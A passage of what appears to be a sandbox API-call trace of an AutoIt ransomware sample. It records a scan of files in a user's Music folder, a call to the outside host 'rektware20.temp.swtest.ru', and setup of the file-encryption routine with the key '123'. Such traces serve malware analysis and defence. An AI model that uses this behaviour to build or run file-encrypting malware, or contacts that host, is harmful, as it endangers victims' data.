lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.152] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.152] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.152] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.152] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.152] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.152] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.152] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.152] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.152] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c) returned 1 [0065.152] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.152] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.152] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.153] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.153] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.153] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.153] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.153] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.153] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.154] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.154] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.154] CloseHandle (hObject=0x0) returned 0 [0065.154] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.154] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.154] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.154] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.154] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.154] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.154] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.154] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.154] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.154] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.155] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.155] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.155] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.155] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.155] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.155] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.155] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.156] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.156] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abc38) returned 1 [0065.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.156] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.156] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.156] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.157] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.157] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.157] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.157] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.157] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.158] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.158] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.158] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.158] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.158] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.158] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.158] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.158] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.158] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.158] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.158] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.158] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.158] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.158] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.158] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.159] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.159] CryptCreateHash (in: hProv=0x17abc38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.159] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.159] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.159] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.159] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629550, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.159] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.159] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.159] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.159] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.159] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.159] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.159] WideCharToMultiByte 